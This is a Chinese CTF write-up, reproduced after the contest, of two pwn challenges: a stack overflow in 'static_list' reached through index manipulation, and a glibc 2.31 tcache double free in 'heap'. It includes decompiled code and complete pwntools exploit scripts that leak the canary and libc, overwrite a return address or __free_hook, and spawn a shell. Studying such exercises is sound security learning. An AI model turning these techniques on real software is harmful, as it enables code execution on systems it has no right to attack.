赛后复现,学习了

static_list

栈溢出
和之前做的虎符线下题jdt有点像,但这题需要操作一下才能溢出

题目描述

init

初始化
栈的信息大概如下(1~63)

create

1
2
3
4
5
6
7
8
9
10
11
int __fastcall create(__int64 a1)
{
int i; // [rsp+1Ch] [rbp-4h]

for ( i = 0; i <= 63 && content[i] != -1; ++i )
;
if ( i == 64 )
return puts("no free spaces!");
content[i] = allocate(a1);
return puts("done!");
}
1
2
3
4
5
6
7
8
9
__int64 __fastcall allocate(unsigned int *a1)
{
unsigned int v2; // [rsp+14h] [rbp-4h]

v2 = *a1;
if ( *a1 != -1 )
*a1 = a1[16 * v2 + 1];
return v2;
}

content[i]处原本是-1

函数allocate中
*a1= 索引到的栈上初始化的数据处的值(利用*a1索引)
content[i]赋值为先前*a1的值
a1是栈上的地址,即上图出现的0x7fffffffccf0

drop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __fastcall modify(__int64 a1)
{
int v2; // [rsp+18h] [rbp-8h]
int v3; // [rsp+1Ch] [rbp-4h]

printf("index: ");
v2 = read_int("index: ");
if ( v2 < 0 )
return puts("invalid index!");
if ( v2 > 63 )
return puts("invalid index!");
v3 = content[v2];
if ( v3 == -1 )
return puts("invalid index!");
printf("content: ");
read(0, ((v3 << 6) + a1 + 4), 0x40uLL);
return puts("done!");
}
1
2
3
4
5
6
7
8
9
10
11
12
_DWORD *__fastcall deallocate(_DWORD *a1, int a2)
{
_DWORD *result; // rax

if ( a2 != -1 )
{
a1[16 * a2 + 1] = *a1;
result = a1;
*a1 = a2;
}
return result;
}

先索引到栈上初始化好的数据,赋值为0x7fffffffccf0的值
然后再让0x7fffffffccf0的值等于我们输入的数字

modify

1
2
v3 = content[v2];
read(0, ((v3 << 6) + a1 + 4), 0x40uLL);

根据content[i]计算偏移并读入到相应位置
这个位置是从栈上初始化的数据处开始的

print

1
2
v3 = content[v2];
printf("content: %s\n", ((v3 << 6) + a1 + 4));

根据content[i]计算偏移打印信息

总结

上文中(v3 << 6) + a1 + 4)a1[16 * v2 + 1]指向同一个地方

a1=0x7fffffffccf0处存着上一次操作的index,每次creat根据此处的值索引到栈上初始化好的数字填入,deallocte在此处填入我们输入的index

modify不存在溢出,最多读入0x40字节数据

drop后content[i]对应的值不会恢复

分析

感觉这题对我这种菜鸟来说属于不太好想了……
正常的操作无法溢出到返回地址

想要溢出到返回地址或者泄露canary,则需要content[i]的值非常规
关注这里的值是如何变化的
不难看到只有在creat的时候才有对content[i]的操作

可以发现,想要动content[i],就得动栈上初始化的数据处的值a1[16 * v2 + 1]
那么怎么动这个地方的值呢
就能想到利用modify来进行修改了

也就是说,我们可以通过修改a1[16 * v2 + 1]处的值,然后creat,来让content[i]赋值为我们想要的偏移,从而对canary和返回地址进行泄露和覆盖

思路

先creat,让content[i]处的值不为-1
因为allocate中*a1 = a1[16 (\a1) + 1],所以drop一次,这是为了让*a1=0,使下一次creat时让*a1被赋值为我们输入的值。
再进行modify,修改a1[16 * 0 + 1]处的值
修改为64即可发生溢出

接下来creat一次,\*a1=0x40
再creat一次,content[2]=0x40
接下来就通过modify填两次分别泄露canary和覆盖返回地址为one_gadget即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import*
context(os='linux', arch='amd64', log_level='debug')

r = process('./static_list')
elf = ELF('./static_list')
libc = ELF('./libc.so.6')

menu = lambda i: r.sendlineafter('>> ', str(i))

def create():
menu(1)

def drop(idx):
menu(2)
r.sendlineafter('index: ',str(idx))


def modify(idx, content):
menu(3)
r.sendlineafter('index: ', str(idx))
r.sendafter('content: ', content)

def show(idx):
menu(4)
r.sendlineafter('index: ',str(idx))

create()
drop(0)
modify(0,p64(64))
create()
create()
modify(2,'a'*5)
show(2)
r.recvuntil('a'*5)
canary = u64(r.recv(7).ljust(8,'\x00'))*0x100

modify(2,'a'*20)
show(2)
r.recvuntil('a'*20)
data = u64(r.recvuntil('\x7f').ljust(8,'\x00'))

libc_base = data-0x020840
one_gadget = libc_base+0x45226
payload = 'a'*4+p64(canary)+p64(0xdeadbeef)+p64(one_gadget)

modify(2,payload)

print 'canary ===> ', hex(canary)
print 'libc_base===> ', hex(libc_base)

menu(5)
r.interactive()

heap

tcache的东西还不是很懂…
glibc2.31 double free

题目描述

create,modify

最多创建64个堆
申请的堆大小固定(malloc(0x70))
不存在溢出
bss段存放chunk指针

drop

free后未将指针置0
再次creat不会覆盖先前的指针

打印出指针指向的内容

思路

glibc2.31下的double free
第一次double free改写一个chunk的size位,需要大于0x408使其绕过tcache直接被放入unsorted bin中,得到libc的地址
第二次double free把free_hook写入fd指针,改写free_hook为system地址,再执行system(‘/bin/sh’)即可

细节

  1. 一个tcache bin的最大块数是7
  2. 当相应大小的tcache bin未满且大小不大于0x408时放入tcache
  3. 当从fastbin中取出chunk时,如果相应的tcache bin未满,会把fastbin中其他内存块放入tcache
  4. 仅仅覆盖tcache的指针,不需要伪造任何chunk结构就能malloc到想要的地址处

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
r = process('./heap')

def cmd1(n):
r.sendlineafter('>> ', str(n))

def cmd2(n):
r.sendlineafter(':', str(n))

def cmd3(conetnt):
r.sendafter(':', conetnt)


def creat(content):
cmd1(1)
cmd3(content)

def drop(idx):
cmd1(2)
cmd2(str(idx))

def show(idx):
cmd1(3)
cmd2(str(idx))


for i in range(8):
creat('A'*8)

creat('B'*8)
creat('C'*8)
creat('D'*8)

for i in range(7):
drop(i)

drop(8)
drop(9)
drop(8)

for i in range(7):
creat('D'*8)

#gdb.attach(r)
creat('\x10')
creat('a')
creat('b')
creat(p64(0)+p64(0x481)) #19

for i in range(8): #21 22 23 24 25 26 27
creat('x')

drop(19)
show(19)
r.recvuntil('content: ')
data = u64(r.recv(6).ljust(8,b'\x00'))
print (hex(data))
malloc_hook = data-0x70
sys_addr = malloc_hook-0x1ebb70+0x055410
free_hook = malloc_hook+0x2fb8

for i in range(8): #28 29 30 31 32 33 34 35
creat('newone')

creat('A')#36
creat('B')#37
creat('C')#38

for i in range(28,35):
drop(i)

drop(36)
drop(37)
drop(36)

for i in range(7):
creat('last')
#gdb.attach(r)
creat(p64(free_hook))
creat(b'a')
creat('/bin/sh\x00')
creat(p64(sys_addr))

drop(48)
r.interactive()